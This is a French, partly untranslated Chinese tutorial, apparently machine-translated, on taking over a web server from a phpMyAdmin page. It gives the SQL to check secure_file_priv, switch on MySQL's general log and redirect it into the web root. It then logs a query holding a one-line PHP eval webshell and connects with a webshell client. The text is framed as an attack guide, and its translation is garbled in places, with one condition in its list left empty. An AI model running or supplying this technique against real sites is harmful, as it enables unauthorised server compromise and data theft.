Ce qui suit est la colonne tutoriel d'utilisation de phpmyadmin pour vous présenter la nouvelle posture getshell de phpmyadmin. J'espère qu'elle sera utile aux amis dans le besoin !
Encyclopédie Baidu : phpMyAdmin est un MySQL basé sur PHP et structuré en Web-Base sur l'hébergeur du site Une gestion de base de données outil qui permet aux administrateurs de gérer les bases de données MySQL à l'aide d'une interface Web. Cette interface Web peut constituer un meilleur moyen de saisir facilement une syntaxe SQL complexe, en particulier lorsqu'il s'agit d'importer et d'exporter de grandes quantités de données. L'un des plus grands avantages est que phpMyAdmin est exécuté sur le serveur Web comme les autres programmes PHP, mais vous pouvez utiliser les pages HTML générées par ces programmes n'importe où, c'est-à-dire pour gérer à distance la base de données MySQL et créer, modifier et supprimer facilement. Bases de données et tableaux de données. Vous pouvez également utiliser phpMyAdmin pour créer une syntaxe PHP couramment utilisée afin de faciliter l'exactitude de la syntaxe SQL requise lors de l'écriture de pages Web.
En termes simples, sa fonction est d'exploiter facilement la base de données sur la page Web.
Lorsque nous obtenons la page phpmyadmin d'un site, la prochaine chose à faire est de getshell.
Vous pouvez élever les privilèges en écrivant un shell, et nous devons remplir les conditions suivantes :
1. Autorisations racine de la base de données
2.
3. La base de données dispose d'autorisations d'écriture
Écrivez dans le shell en sélectionnant '' INTO OUTFILE 'chemin physique du site Web. '
Cet article parle principalement du getshell réussi lorsque la condition 3 n'est pas remplie.
Conditions d'utilisation : MySQL 5.0+
La version de MySQL 5.0+ créera automatiquement un fichier journal, puis modifiera la situation globale pendant que le le service est en cours d'exécution. Les variables peuvent également modifier l'emplacement du fichier, mais elles doivent disposer d'autorisations de lecture et d'écriture sur le répertoire dans lequel le journal est généré.
(Cela peut être plus exigeant dans l'environnement Linux, car le répertoire du site est un utilisateur et MySQL est un autre utilisateur. Le contrôle des autorisations est plus strict, principalement selon que les autorisations sont correctement configurées)
Nous testons d'abord si le site dispose d'une autorisation en écriture
Exécutons l'instruction SQL SHOW VARIABLES LIKE 'secure_file_priv'
L'instruction SQL SHOW VARIABLES LIKE 'secure_file_priv' effectue une requête pour trouver secure_file_priv
fonctionnalité secure-file-priv
Le paramètre secure-file-priv est utilisé pour limiter LOAD DATA, SELECT ... OUTFILE et LOAD_FILE() Quel répertoire spécifié vers lequel transférer.
Lorsque la valeur de secure_file_priv est nulle, cela indique la restriction selon laquelle MySQL n'autorise pas l'import|export
Lorsque la valeur de secure_file_priv est /tmp/, il indique la restriction L'import|export de mysql ne peut avoir lieu que dans le répertoire /tmp/
Lorsque la valeur de secure_file_priv n'a pas de valeur spécifique, cela signifie qu'il y a aucune restriction sur l'import|export de mysql
Vous pouvez définir ses propriétés dans le fichier mysql-ini
Après test, nous n'avons pas l'autorisation d'écriture
Ensuite, introduisez deux variables globales MySQL (general_log, general_log file)
Nous pouvons écrire une phrase de cheval de Troie dans le journal mysql, puis déplacer le chemin du journal mysql vers le répertoire du site Web pour implémenter getshell
Exécuter l'instruction SQL SHOW VARIABLES LIKE ' general_log% ' Effectuer une requête floue
Le journal est fermé par défaut
Nous exécutons l'instruction SQL
set global general_log = "ON"; #开启日志 SET global general_log_file='网站下物理路径'; #更换日志路径
Créé avec succès
然后执行特殊的查询语句
select '<?php eval($_POST[aaa]);?>'
我们进入112233.php进行验证,成功写入shell
最后进行菜刀连接,获得站点webshell
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!